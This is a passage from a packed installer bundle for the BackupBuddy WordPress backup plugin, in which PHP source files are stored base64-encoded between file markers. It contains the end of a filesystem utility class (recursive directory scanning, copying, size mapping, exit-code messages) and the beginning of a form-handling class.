HRzIGluIHRoZSBkaXJlY3RvcnkgYW5kIGFsbCBzdWJkaXJlY3Rvcmllcy4KCSAqIFRoaXMgaXMgZXNzZW50aWFsbHkgYSByZWN1cnNpdmUgZ2xvYigpIGFsdGhvdWdoIGl0IGRvZXMgbm90IHVzZSByZWN1cnNpb24gdG8gcGVyZm9ybSB0aGlzLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJGRpciAgICAgICAgIFBhdGggdG8gcGFzcyB0byBnbG9iIGFuZCB3YWxrIHRocm91Z2guCgkgKiBAcGFyYW0gYXJyYXkgICRleGNsdWRlcyAgICBBcnJheSBvZiBkaXJlY3RvcmllcyB0byBleGNsdWRlLCByZWxhdGl2ZSB0byB0aGUgJGRpci4gIEluY2x1ZGUgYmVnaW5uaW5nIHNsYXNoLiBObyB0cmFpbGluZyBzbGFzaC4KCSAqIEBwYXJhbSBpbnQgICAgJHN0YXJ0X2F0ICAgIE9mZnNldCB0byBzdGFydCBjYWxjdWxhdGluZyBmcm9tIGZvciByZXN1bWVkIGNodW5raW5nLiAkaXRlbXMgbXVzdCBhbHNvIGJlIHBhc3NlZCBmcm9tIHByZXZpb3VzIHJ1bi4KCSAqIEBwYXJhbSBhcnJheSAgJGl0ZW1zICAgICAgIEFycmF5IG9mIGl0ZW1zIHRvIHVzZSBmb3IgcmVzdW1pbmcuIFJldHVybmVkIGJ5IHRoaXMgZnVuY3Rpb24gd2hlbiBjaHVua2luZy4KCSAqIEBwYXJhbSBpbnQgICAgJHN0YXJ0X3RpbWUgIFRpbWVzdGFtcCB0byBjYWxjdWxhdGUgZWxhcHNlZCBydW50aW1lIGZyb20uCgkgKiBAcGFyYW0gaW50ICAgICRtYXhfdGltZSAgICBNYXggc2Vjb25kcyB0byBydW4gZm9yIGJlZm9yZSByZXR1cm5pbmcgZm9yIGNodW5raW5nIGlmIGFwcHJvYWNoaW5nLiBaZXJvICgwKSB0byBkaXNhYmxpbmcgY2h1bmtpbmcuIElNUE9SVEFOVDogRG9lcyBfTk9UXyBhcHBseSBhIHdpZ2dsZSByb29tLiBTdWJ0cmFjdCB3aWdnbGUgZnJvbSAkbWF4X3RpbWUgYmVmb3JlIHBhc3NpbmcuCgkgKgoJICogQHJldHVybiBhcnJheXxzdHJpbmcgIFN0cmluZyBlcnJvciBtZXNzYWdlIE9SIFJldHVybnMgYXJyYXkgb2YgYWxsIG1hdGNoZXMgZm91bmQgT1IgYXJyYXkoICRmaW5pc2hlZCA9IGZhbHNlLCBhcnJheSggJHN0YXJ0X2F0LCAkaXRlbXMgKSApIGlmIGNodW5raW5nIGR1ZSB0byBydW5uaW5nIG91dCBvZiB0aW1lLgoJICovCglwdWJsaWMgZnVuY3Rpb24gZGVlcHNjYW5kaXIoICRkaXIsICRleGNsdWRlcyA9IGFycmF5KCksICRzdGFydF9hdCA9IDAsICRpdGVtcyA9IGFycmF5KCksICRzdGFydF90aW1lID0gMCwgJG1heF90aW1lID0gMCApIHsKCgkJJGRpciAgICAgID0gcnRyaW0oICRkaXIsICcvXFwnICk7IC8vIE1ha2Ugc3VyZSBubyB0cmFpbGluZyBzbGFzaC4KCQkkZXhjbHVkZXMgPSBzdHJfcmVwbGFjZSggJGRpciwgJycsICRleGNsdWRlcyApOwoJCSRkaXJfbGVuICA9IHN0cmxlbiggJGRpciApOwoKCQkvLyBJZiBub3QgcmVzdW1pbmcgYSBjaHVua2VkIHByb2Nlc3MgdGhlbiBnZXQgaXRlbXMuCgkJaWYgKCAhIGlzX2FycmF5KCAkaXRlbXMgKSB8fCAwID09IGNvdW50KCAkaXRlbXMgKSApIHsKCQkJJGl0ZW1zID0gc2NhbmRpciggJGRpciApOwoJCQlpZiAoIGZhbHNlID09PSAkaXRlbXMgKSB7CgkJCQkkaXRlbXMgPSBhcnJheSgpOwoJCQl9IGVsc2UgewoJCQkJZm9yZWFjaCAoICRpdGVtcyBhcyAkaSA9PiAmJGl0ZW0gKSB7CgkJCQkJaWYgKCAnLicgPT0gJGl0ZW0gfHwgJy4uJyA9PSAkaXRlbSApIHsKCQkJCQkJdW5zZXQoICRpdGVtc1sgJGkgXSApOwoJCQkJCQljb250aW51ZTsKCQkJCQl9CgkJCQkJJGl0ZW0gPSAkZGlyIC4gJy8nIC4gJGl0ZW07IC8vIEFkZCBkaXJlY3RvcnkuCgkJCQl9CgkJCX0KCQkJJGl0ZW1zID0gYXJyYXlfdmFsdWVzKCAkaXRlbXMgKTsgLy8gUmVtb3ZlIG1pc3Npbmcga2V5ZWQgaXRlbXMuCgkJfSBlbHNlIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRGVlcCBzY2FuIHJlc3VtaW5nIGF0IGAnIC4gJHN0YXJ0X2F0IC4gJ2AuJyApOwoJCX0KCgkJZm9yICggJGkgPSAkc3RhcnRfYXQ7ICRpIDwgY291bnQoICRpdGVtcyApOyAkaSsrICkgeyAvLyAkaXRlbXMgaXMgbW9kaWZpZWQgaW4gbG9vcC4KCgkJCS8vIElmIHRoaXMgZmlsZS9kaXJlY3RvcnkgYmVnaW5zIHdpdGggYW4gZXhjbHVzaW9uIHRoZW4ganVtcCB0byBuZXh0IGZpbGUvZGlyZWN0b3J5LgoJCQlmb3JlYWNoICggJGV4Y2x1ZGVzIGFzICRleGNsdWRlICkgewoJCQkJaWYgKCBiYWNrdXBidWRkeV9jb3JlOjpzdGFydHNXaXRoKCBzdWJzdHIoICRpdGVtc1sgJGkgXSwgJGRpcl9sZW4gKSwgJGV4Y2x1ZGUgKSApIHsKCQkJCQkkaXRlbXNbICRpIF0gPSAnJzsKCQkJCQljb250aW51ZSAyOwoJCQkJfQoJCQl9CgoJCQlpZiAoIGlzX2RpciggJGl0ZW1zWyAkaSBdICkgKSB7CgkJCQkkYWRkcyA9IHNjYW5kaXIoICRpdGVtc1sgJGkgXSApOwoJCQkJaWYgKCAhIGlzX2FycmF5KCAkYWRkcyApICkgewoJCQkJCSRhZGRzID0gYXJyYXkoKTsKCQkJCX0gZWxzZSB7CgkJCQkJZm9yZWFjaCAoICRhZGRzIGFzICRqID0+ICYkYWRkX2l0ZW0gKSB7CgkJCQkJCWlmICggJy4nID09ICRhZGRfaXRlbSB8fCAnLi4nID09ICRhZGRfaXRlbSApIHsKCQkJCQkJCXVuc2V0KCAkYWRkc1sgJGogXSApOwoJCQkJCQkJY29udGludWU7CgkJCQkJCX0KCQkJCQkJJGFkZF9pdGVtID0gJGl0ZW1zWyAkaSBdIC4gJy8nIC4gJGFkZF9pdGVtOyAvLyBBZGQgZGlyZWN0b3J5LgoJCQkJCX0KCQkJCX0KCQkJCSRpdGVtcyA9IGFycmF5X21lcmdlKCAkaXRlbXMsICRhZGRzICk7CgkJCX0KCgkJCS8vIENoZWNrIGlmIGVub3VnaCB0aW1lIHJlbWFpbnMgdG8gY29udGludWUsIGVsc2UgY2h1bmsuCgkJCWlmICggMCAhPSAkbWF4X3RpbWUgKSB7IC8vIENodW5raW5nIGVuYWJsZWQuCgkJCQlpZiAoICggdGltZSgpIC0gJHN0YXJ0X3RpbWUgKSA+ICRtYXhfdGltZSApIHsgLy8gTm90IGVub3VnaCB0aW1lIGxlZnQuCgkJCQkJaWYgKCAkaSA9PSAkc3RhcnRfYXQgKSB7IC8vIERpZCBub3QgaW5jcmVhc2UgcG9zaXRpb24uCgkJCQkJCWlmICggJG1heF90aW1lIDwgMCApIHsKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFcnJvciAjODM0NzQzNzQ1OiBNYXggdGltZSBuZWdhdGl2ZS4gVGhpcyB1c3VhbGx5IG1lYW5zIHRoZSBtYXggUEhQIHRpbWUgZm9yIHRoaXMgc2VydmVyIGlzIGV4Y2VwdGlvbmFsbHkgbG93LiBDaGVjayBtYXggUEhQIHJ1bnRpbWUgdG8gdmVyaWZ5IGl0IGlzIDMwIHNlY29uZHMgb3IgbW9yZS4nICk7CgkJCQkJCX0KCQkJCQkJJGVycm9yID0gJ0Vycm9yICMzNDg0ODkzNDogTm8gcHJvZ3Jlc3Mgd2FzIG1hZGUgZHVyaW5nIGZpbGUgc2Nhbi4gSGFsdGluZyB0byBwcmV2ZW50IGxvb3BpbmcgcmVwZWF0ZWRseSBhdCBiZWdpbm5pbmcgb2YgZGVlcCBzY2FuLiBFbGFwc2VkOiBgJyAuICggdGltZSgpIC0gJHN0YXJ0X3RpbWUgKSAuICdgLiBNYXggdGltZTogYCcgLiAkbWF4X3RpbWUgLiAnYC4gc3RhcnRBdDogYCcgLiAkc3RhcnRfYXQgLiAnYC4gSXRlbXMgY291bnQ6IGAnIC4gY291bnQoICRpdGVtcyApIC4gJ2AuJzsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJGVycm9yICk7CgkJCQkJCXJldHVybiAkZXJyb3I7CgkJCQkJfQoJCQkJCSRzdGFydF9hdCA9ICRpOwoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1J1bm5pbmcgb3V0IG9mIHRpbWUgY2FsY3VsYXRpbmcgZGVlcCBmaWxlIHNjYW4uIENodW5raW5nIGF0IHBvc2l0aW9uIGAnIC4gJHN0YXJ0X2F0IC4gJ2AuIEl0ZW1zIHNvIGZhcjogYCcgLiBjb3VudCggJGl0ZW1zICkgLiAnYC4gRWxhcHNlZDogYCcgLiAoIHRpbWUoKSAtICRzdGFydF90aW1lICkgLiAnYCBzZWNzLiBNYXggdGltZTogYCcgLiAkbWF4X3RpbWUgLiAnYCBzZWNzLicgKTsKCQkJCQlyZXR1cm4gYXJyYXkoIGZhbHNlLCBhcnJheSggKCAkaSArIDEgKSwgJGl0ZW1zICkgKTsKCQkJCX0KCQkJfQoJCX0gLy8gZW5kIGZvci4KCgkJcmV0dXJuIGFycmF5X2ZpbHRlciggJGl0ZW1zICk7IC8vIFJlbW92ZWQgYW55IGVtcHR5IHZhbHVlcyAoZXhjbHVkZXMgaXRlbXMpLgoJfSAvLyBFbmQgZGVlcHNjYW5kaXIoKS4KCgkvKioKCSAqIFJlY3Vyc2l2ZSBDb3B5CgkgKgoJICogQHBhcmFtIHN0cmluZyAkc3JjICBTb3VyY2UgZGlyZWN0b3J5LgoJICogQHBhcmFtIHN0cmluZyAkZHN0ICBEZXN0aW5hdGlvbiBkaXJlY3RvcnkuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiByZWN1cnNpdmVfY29weSggJHNyYywgJGRzdCApIHsKCQlpZiAoIGlzX2RpciggJHNyYyApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdDb3B5aW5nIGRpcmVjdG9yeSBgJyAuICRzcmMgLiAnYCB0byBgJyAuICRkc3QgLiAnYCByZWN1cnNpdmVseS4nICk7CgkJCUAkdGhpcy0+bWtkaXIoICRkc3QsIDA3NzcgKTsKCQkJJGZpbGVzID0gc2NhbmRpciggJHNyYyApOwoJCQlmb3JlYWNoICggJGZpbGVzIGFzICRmaWxlICkgewoJCQkJaWYgKCAnLicgIT0gJGZpbGUgJiYgJy4uJyAhPSAkZmlsZSApIHsKCQkJCQkkdGhpcy0+cmVjdXJzaXZlX2NvcHkoICIkc3JjLyRmaWxlIiwgIiRkc3QvJGZpbGUiICk7CgkJCQl9CgkJCX0KCQl9IGVsc2VpZiAoIGZpbGVfZXhpc3RzKCAkc3JjICkgKSB7CgkJCUBjb3B5KCAkc3JjLCAkZHN0ICk7IC8vIFRvZG86IHNob3VsZCB0aGlzIG5lZWQgc3VwcHJlc3Npb24/IE1lZGlhIGNvcHlpbmcgd2FzIHRocm93aW5nICRkc3QgaXMgZGlyZWN0b3J5IGVycm9ycy4KCQl9Cgl9CgoJLyoqCgkgKiBEaXJlY3RvcnkgU2l6ZSBNYXAKCSAqCgkgKiBAdG9kbyBEb2N1bWVudC4KCSAqCgkgKiBAcGFyYW0gYXJyYXl8Ym9vbCAkZGlyICAgICAgICAgQXJyYXkgb2YgZGlyZWN0b3J5IHBhdGhzIHRvIGV4Y2x1ZGUuICBJZiB0cnVlIHRoZW4gdGhpcyBkaXJlY3RvcnkgaXMgZXhjbHVkZWQgc28gbm8gbmVlZCB0byBjaGVjayB3aXRoIGV4Y2x1c2lvbiBkaXJlY3RvcnkuCgkgKiBAcGFyYW0gc3RyaW5nICAgICAkYmFzZSAgICAgICAgQmFzZS4KCSAqIEBwYXJhbSBhcnJheSAgICAgICRleGNsdXNpb25zICBOZXZlciBtb2RpZmllZCBzbyBqdXN0IHVzZSBQSFAncyBjb3B5IG9uIG1vZGlmeSBkZWZhdWx0IGJlaGF2aW91ciBmb3IgbWVtb3J5IG1hbmFnZW1lbnQuCgkgKiBAcGFyYW0gYXJyYXkgICAgICAkZGlyX2FycmF5ICAgQXJyYXkgb2YgZGlyZWN0b3JpZXMuCgkgKgoJICogQHJldHVybiBhcnJheSAgYXJyYXkoIFRPVEFMX0RJUkVDVE9SWV9TSVpFLCBUT1RBTF9TSVpFX1dJVEhfRVhDTFVTSU9OU19UQUtFTl9JTlRPX0FDQ09VTlQsIE9CSkVDVFNfRk9VTkQsIE9CSkVDVFNfRk9VTkRfV0lUSF9FWENMVVNJT05TICkKCSAqLwoJcHVibGljIGZ1bmN0aW9uIGRpcl9zaXplX21hcCggJGRpciwgJGJhc2UsICRleGNsdXNpb25zLCAmJGRpcl9hcnJheSApIHsKCQkkZGlyID0gcnRyaW0oICRkaXIsICcvXFwnICk7IC8vIEZvcmNlIG5vIHRyYWlsaW5nIHNsYXNoLgoKCQlpZiAoICEgaXNfZGlyKCAkZGlyICkgKSB7CgkJCXJldHVybiAwOwoJCX0KCgkJJHJldCAgICAgICAgICAgICAgICAgICAgICAgICA9IDA7CgkJJHJldF93aXRoX2V4Y2x1c2lvbnMgICAgICAgICA9IDA7CgkJJHJldF9vYmplY3RzICAgICAgICAgICAgICAgICA9IDA7CgkJJHJldF9vYmplY3RzX3dpdGhfZXhjbHVzaW9ucyA9IDA7CgkJJGV4Y2x1c2lvbnNfcmVzdWx0ICAgICAgICAgICA9ICRleGNsdXNpb25zOwoJCSRzdWIgICAgICAgICAgICAgICAgICAgICAgICAgPSBAb3BlbmRpciggJGRpciApOwoJCWlmICggZmFsc2UgPT09ICRzdWIgKSB7IC8vIENhbm5vdCBhY2Nlc3MuCgkJCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJ0Vycm9yICM1NjgzODU6IFVuYWJsZSB0byBhY2Nlc3MgZGlyZWN0b3J5OiBgJyAuICRkaXIgLiAnYC4gVmVyaWZ5IHByb3BlciBwZXJtaXNzaW9ucy4nLCB0cnVlICk7CgkJCXJldHVybiAwOwoJCX0gZWxzZSB7CgkJCXdoaWxlICggJGZpbGUgPSByZWFkZGlyKCAkc3ViICkgKSB7CgkJCQkkZXhjbHVzaW9uc19yZXN1bHQgPSAkZXhjbHVzaW9uczsKCgkJCQkkZGlyX3BhdGggPSAnLycgLiBzdHJfcmVwbGFjZSggJGJhc2UsICcnLCAkZGlyIC4gJy8nIC4gJGZpbGUgKSAuICcvJzsgLy8gc3RyX3JlcGxhY2UoICRiYXNlLCAnJywgJGRpciAuICRmaWxlIC4gJy8nICk7CgoJCQkJaWYgKCAnLicgPT0gJGZpbGUgfHwgJy4uJyA9PSAkZmlsZSApIHsKCgkJCQkJLy8gRG8gbm90aGluZy4KCQkJCX0gZWxzZWlmICggaXNfZGlyKCAkZGlyIC4gJy8nIC4gJGZpbGUgKSApIHsgLy8gRElSRUNUT1JZLgoKCQkJCQlpZiAoIHRydWUgPT09ICRleGNsdXNpb25zIHx8IHNlbGY6OmluX2FycmF5X3N1YnN0ciggJGV4Y2x1c2lvbnMsICRkaXJfcGF0aCwgJy8nICkgKSB7CgkJCQkJCSRleGNsdXNpb25zX3Jlc3VsdCA9IHRydWU7CgkJCQkJfQoJCQkJCSRyZXN1bHQgICAgICAgPSAkdGhpcy0+ZGlyX3NpemVfbWFwKCAkZGlyIC4gJy8nIC4gJGZpbGUgLiAnLycsICRiYXNlLCAkZXhjbHVzaW9ucywgJGRpcl9hcnJheSApOwoJCQkJCSR0aGlzX3NpemUgICAgPSAkcmVzdWx0WzBdOwoJCQkJCSR0aGlzX29iamVjdHMgPSAkcmVzdWx0WzJdOwoKCQkJCQlpZiAoIHRydWUgPT09ICRleGNsdXNpb25zX3Jlc3VsdCApIHsgLy8gSWYgZXhjbHVkaW5nIHRoZW4gd2lwZSBleGNsdWRlZCB2YWx1ZS4KCQkJCQkJJHRoaXNfc2l6ZV93aXRoX2V4Y2x1c2lvbnMgICAgPSBmYWxzZTsKCQkJCQkJJHRoaXNfb2JqZWN0c193aXRoX2V4Y2x1c2lvbnMgPSAwOwoJCQkJCX0gZWxzZSB7CgkJCQkJCSR0aGlzX3NpemVfd2l0aF9leGNsdXNpb25zICAgID0gJHJlc3VsdFsxXTsgLy8gMTA0ODU3Ni4KCQkJCQkJJHRoaXNfb2JqZWN0c193aXRoX2V4Y2x1c2lvbnMgPSAkcmVzdWx0WzNdOyAvLyAxMDQ4NTc2LgoJCQkJCX0KCgkJCQkJJGRpcl9hcnJheVsgJGRpcl9wYXRoIF0gPSBhcnJheSggJHRoaXNfc2l6ZSwgJHRoaXNfc2l6ZV93aXRoX2V4Y2x1c2lvbnMsICR0aGlzX29iamVjdHMsICR0aGlzX29iamVjdHNfd2l0aF9leGNsdXNpb25zICk7CgoJCQkJCSRyZXQgICAgICAgICAgICAgICAgICAgICAgICAgKz0gJHRoaXNfc2l6ZTsKCQkJCQkkcmV0X29iamVjdHMgICAgICAgICAgICAgICAgICs9ICR0aGlzX29iamVjdHM7CgkJCQkJJHJldF93aXRoX2V4Y2x1c2lvbnMgICAgICAgICArPSAkdGhpc19zaXplX3dpdGhfZXhjbHVzaW9uczsKCQkJCQkkcmV0X29iamVjdHNfd2l0aF9leGNsdXNpb25zICs9ICR0aGlzX29iamVjdHNfd2l0aF9leGNsdXNpb25zOwoKCQkJCQl1bnNldCggJGZpbGUgKTsKCgkJCQl9IGVsc2UgeyAvLyBGSUxFLgoKCQkJCQkkc3RhdHMgPSBAc3RhdCggJGRpciAuICcvJyAuICRmaWxlICk7CgkJCQkJaWYgKCBpc19hcnJheSggJHN0YXRzICkgKSB7CgkJCQkJCSRyZXQgKz0gJHN0YXRzWydzaXplJ107CgkJCQkJCSRyZXRfb2JqZWN0cysrOwoJCQkJCQlpZiAoIHRydWUgIT09ICRleGNsdXNpb25zICYmICEgaW5fYXJyYXkoICRkaXJfcGF0aCwgJGV4Y2x1c2lvbnMgKSApIHsgLy8gTm90IGV4Y2x1ZGluZy4KCQkJCQkJCSRyZXRfd2l0aF9leGNsdXNpb25zICs9ICRzdGF0c1snc2l6ZSddOwoJCQkJCQkJJHJldF9vYmplY3RzX3dpdGhfZXhjbHVzaW9ucysrOwoJCQkJCQl9CgkJCQkJfQoJCQkJCXVuc2V0KCAkZmlsZSApOwoKCQkJCX0KCQkJfQoJCQljbG9zZWRpciggJHN1YiApOwoJCQl1bnNldCggJHN1YiApOwoJCQlyZXR1cm4gYXJyYXkoICRyZXQsICRyZXRfd2l0aF9leGNsdXNpb25zLCAkcmV0X29iamVjdHMsICRyZXRfb2JqZWN0c193aXRoX2V4Y2x1c2lvbnMgKTsKCQl9Cgl9IC8vIEVuZCBkaXJfc2l6ZV9tYXAoKS4KCgkvKioKCSAqIENoZWNrcyBhcnJheSBmb3IgYSBzdHJpbmcgc2VnbWVudC4KCSAqCgkgKiBAcGFyYW0gYXJyYXkgICRoYXlzdGFjayAgQXJyYXkgdG8gc2VhcmNoLgoJICogQHBhcmFtIHN0cmluZyAkbmVlZGxlICAgIFN0cmluZyBzZWdtZW50IHRvIGxvb2sgZm9yLgoJICogQHBhcmFtIHN0cmluZyAkdHJhaWxpbmcgIE9wdGlvbmFsIHRyYWlsaW5nIHN0cmluZy4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIElmIHN0cmluZyB3YXMgZm91bmQuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gaW5fYXJyYXlfc3Vic3RyKCAkaGF5c3RhY2ssICRuZWVkbGUsICR0cmFpbGluZyA9ICcnICkgewoJCWZvcmVhY2ggKCAkaGF5c3RhY2sgYXMgJGhheSApIHsKCQkJaWYgKCAoICRoYXkgLiAkdHJhaWxpbmcgKSA9PSBzdWJzdHIoICRuZWVkbGUgLiAkdHJhaWxpbmcsIDAsIHN0cmxlbiggJGhheSAuICR0cmFpbGluZyApICkgKSB7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCgkJcmV0dXJuIGZhbHNlOwoJfQoKCS8qKgoJICogQmF0Y2ggZXhpdCBjb2RlIGxvb2t1cC4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nfGludCAkY29kZSAgQmF0Y2ggZXhpdCBjb2RlLgoJICoKCSAqIEByZXR1cm4gc3RyaW5nICBFcnJvciBtZXNzYWdlIGJhc2VkIG9uIGJhdGNoIGV4aXQgY29kZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGV4aXRfY29kZV9sb29rdXAoICRjb2RlICkgewoJCXN3aXRjaCAoIChzdHJpbmcpICRjb2RlICkgewoJCQljYXNlICcwJzoKCQkJCXJldHVybiAnQ29tbWFuZCBjb21wbGV0ZWQgJiByZXR1cm5lZCBub3JtYWxseS4nOwoJCQljYXNlICcxMjYnOgoJCQkJcmV0dXJuICdDb21tYW5kIGludm9rZWQgY2Fubm90IGV4ZWN1dGUuIENoZWNrIGNvbW1hbmQgaGFzIHZhbGlkIHBlcm1pc2lvbnMgYW5kIGV4ZWN1dGUgY2FwYWJpbGl0eS4nOwoJCQljYXNlICcxMjcnOgoJCQkJcmV0dXJuICdDb21tYW5kIG5vdCBmb3VuZC4nOwoJCQljYXNlICcxNTInOgoJCQkJcmV0dXJuICdTSUdYQ1BVIDE1MjsgQ1BVIHRpbWUgbGltaXQgZXhjZWVkZWQuJzsKCQkJY2FzZSAnMTUzJzoKCQkJCXJldHVybiAnU0lHWEZTWiAxNTM7IEZpbGUgc2l6ZSBsaW1pdCBleGNlZWRlZC4gVmVyaWZ5IGVub3VnaCBmcmVlIHNwYWNlIGV4aXN0cyAmIGZpbGVzeXN0ZW0gbWF4IHNpemUgbm90IGV4Y2VlZGVkLic7CgkJCWNhc2UgJzE1OCc6CgkJCQlyZXR1cm4gJ1NJR1hDUFUgMTU4OyBDUFUgdGltZSBsaW1pdCBleGNlZWRlZC4nOwoJCQljYXNlICcxNTknOgoJCQkJcmV0dXJuICdTSUdYRlNaIDE1OTsgRmlsZSBzaXplIGxpbWl0IGV4Y2VlZGVkLiBWZXJpZnkgZW5vdWdoIGZyZWUgc3BhY2UgZXhpc3RzICYgZmlsZXN5c3RlbSBtYXggc2l6ZSBub3QgZXhjZWVkZWQuJzsKCQl9CgoJCXJldHVybiAnLU5vIGluZm9ybWF0aW9uIGF2YWlsYWJsZSBmb3IgdGhpcyBleGl0IGNvZGUtIFNlZTogaHR0cHM6Ly93aWtpLm5jc2EuaWxsaW5vaXMuZWR1L2Rpc3BsYXkvTVJEUFVCL0JhdGNoK0V4aXQrQ29kZXMnOwoJfQoKCS8qKgoJICogTmV3ZXN0IHRvIG9sZGVzdC4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRwYXR0ZXJuICBHbG9iIHBhdHRlcm4uCgkgKiBAcGFyYW0gc3RyaW5nICRtb2RlICAgICBEYXRlIHBhdHRlcm4sIGRlZmF1bHQ6IGN0aW1lLgoJICoKCSAqIEByZXR1cm4gYm9vbHxhcnJheSAgRmFsc2UgaWYgZXJyb3IsIG90aGVyd2lzZSBzb3J0ZWQgYXJyYXkuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBnbG9iX2J5X2RhdGUoICRwYXR0ZXJuLCAkbW9kZSA9ICdjdGltZScgKSB7CgkJJGZpbGVfYXJyYXkgID0gYXJyYXkoKTsKCQkkZ2xvYl9yZXN1bHQgPSBnbG9iKCAkcGF0dGVybiApOwoJCWlmICggISBpc19hcnJheSggJGdsb2JfcmVzdWx0ICkgKSB7CgkJCSRnbG9iX3Jlc3VsdCA9IGFycmF5KCk7CgkJfQoJCWZvcmVhY2ggKCAkZ2xvYl9yZXN1bHQgYXMgJGkgPT4gJGZpbGVuYW1lICkgewoJCQlpZiAoICdjdGltZScgPT0gJG1vZGUgKSB7CgkJCQkkdGltZSA9IEBmaWxlY3RpbWUoICRmaWxlbmFtZSApOwoJCQl9IGVsc2VpZiAoICdtdGltZScgPT0gJG1vZGUgKSB7CgkJCQkkdGltZSA9IEBmaWxlbXRpbWUoICRmaWxlbmFtZSApOwoJCQl9IGVsc2UgewoJCQkJZXJyb3JfbG9nKCAnQmFja3VwQnVkZHkgRXJyb3IgIzIzMzQ5ODQ0ODkzODM6IEludmFsaWQgZ2xvYl9ieV9kYXRlIG1vZGU6IGAnIC4gJG1vZGUgLiAnYC4nICk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQkJaWYgKCBmYWxzZSA9PT0gJHRpbWUgKSB7IC8vIEZpbGUgbWlzc2luZyBvciBubyBsb25nZXIgYWNjZXNzaWJsZT8KCQkJCWlmICggISBmaWxlX2V4aXN0cyggJGZpbGVuYW1lICkgKSB7IC8vIEZpbGUgd2VudCBhd2F5LgoJCQkJCXVuc2V0KCAkZ2xvYl9yZXN1bHRbICRpIF0gKTsKCQkJCX0gZWxzZSB7IC8vIFVrbm93biBtb2QgdGltZS4gU2V0IGFzIGN1cnJlbnQgdGltZS4KCQkJCQkkdGltZSA9IHRpbWUoKTsKCQkJCX0KCQkJfQoJCQl3aGlsZSAoIGlzc2V0KCAkZmlsZV9hcnJheVsgJHRpbWUgXSApICkgeyAvLyBBdm9pZCBjb2xsaXNpb25zLgoJCQkJJHRpbWUgPSAkdGltZSArIDAuMTsKCQkJfQoJCQkkZmlsZV9hcnJheVsgJHRpbWUgXSA9ICRmaWxlbmFtZTsgLy8gb3IganVzdCAkZmlsZW5hbWUuCgkJfQoJCWtyc29ydCggJGZpbGVfYXJyYXkgKTsKCQlyZXR1cm4gJGZpbGVfYXJyYXk7CgoJfSAvLyBFbmQgZ2xvYl9ieV9kYXRlKCkuCgoKfSAvLyBFbmQgY2xhc3MgcGx1Z2luYnVkZHlfc2V0dGluZ3MuCg==
###PACKDATA,FILE_END,/pluginbuddy/classes/filesystem.php,importbuddy/pluginbuddy/classes/filesystem.php
###PACKDATA,FILE_START,/pluginbuddy/classes/form.php,importbuddy/pluginbuddy/classes/form.php
PD9waHAKLyoqCiAqIEZvcm0gaGFuZGxpbmcgQ2xhc3MKICoKICogQHBhY2thZ2UgQmFja3VwQnVkZHkKICogQGF1dGhvciBEdXN0aW4gQm9sdG9uCiAqLwoKLyoqCiAqIEZvcm0gZnJhbWV3b3JrIGZvciBoYW5kbGluZyBhbGwgZm9ybXMsIHZhbGlkYXRpb24sIGFuZCB0aGVpciBkaXNwbGF5LgogKi8KY2xhc3MgcGJfYmFja3VwYnVkZHlfZm9ybSB7CgoJLyoqCgkgKiBGb3JtIE5hbWUKCSAqCgkgKiBAdmFyIHN0cmluZwoJICovCglwcml2YXRlICRfZm9ybV9uYW1lID0gJyc7CgoJLyoqCgkgKiBTYXZlIFBvaW50CgkgKgoJICogQHZhciBzdHJpbmcKCSAqLwoJcHJpdmF0ZSAkX3NhdmVfcG9pbnQgPSAnJzsKCgkvKioKCSAqIEZvcm0gSW5wdXRzCgkgKgoJICogQHZhciBhcnJheQoJICovCglwcml2YXRlICRfaW5wdXRzID0gYXJyYXkoKTsKCgkvKioKCSAqIEZvcm0gUHJlZml4CgkgKgoJICogQHZhciBzdHJpbmcKCSAqLwoJcHJpdmF0ZSAkX3ByZWZpeCA9ICdERUZBVUxUJzsKCgkvKioKCSAqIEZvcm0gU3RhcnRlZAoJICoKCSAqIEB2YXIgYm9vbAoJICovCglwcml2YXRlICRfc3RhcnRlZCA9IGZhbHNlOwoKCS8qKgoJICogRm9ybSBFbmRlZAoJICoKCSAqIEB2YXIgYm9vbAoJICovCglwcml2YXRlICRfZW5kZWQgPSBmYWxzZTsKCgkvKioKCSAqIEFkZGl0aW9uYWwgUXVlcnkgU3RyaW5nCgkgKgoJICogQHZhciBzdHJpbmcKCSAqLwoJcHJpdmF0ZSAkX2FkZGl0aW9uYWxfcXVlcnlfc3RyaW5nID0gJyc7CgoJLyoqCgkgKiBMb2FkZWQgY29sb3Igc3R5bGVzCgkgKgoJICogQHZhciBib29sCgkgKi8KCXByaXZhdGUgJF9sb2FkZWRfY29sb3IgPSBmYWxzZTsKCgkvKioKCSAqIERlZmF1bHQgY29uc3RydWN0b3IuIFNldHMgdXAgdGhlIGZvcm0uCgkgKgoJICogQHBhcmFtIHN0cmluZyAkZm9ybV9uYW1lICAgICAgICAgICAgICAgIE5hbWUgLyBzbHVnIG9mIHRoZSBmb3JtLgoJICogQHBhcmFtIHN0cmluZyAkc2F2ZV9wb2ludCAgICAgICAgICAgICAgIFNhdmUgcG9pbnQgdG8gc2F2ZSBmb3JtOyBDdXJyZW50bHkgb25seSB1c2VkIGZvciBzZXR0aW5ncyBmb3JtLiBAc2VlIHBsdWdpbmJ1ZGR5X3NldHRpbmdzLT5fX2NvbnN0cnVjdCgpLgoJICogQHBhcmFtIHN0cmluZyAkYWRkaXRpb25hbF9xdWVyeV9zdHJpbmcgIEFkZGl0aW9uYWwgcXVlcnlzdHJpbmcgdG8gYXBwZW5kIHRvIGVuZCBvZiBmb3JtIGFjdGlvbiBVUkwuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBfX2Nv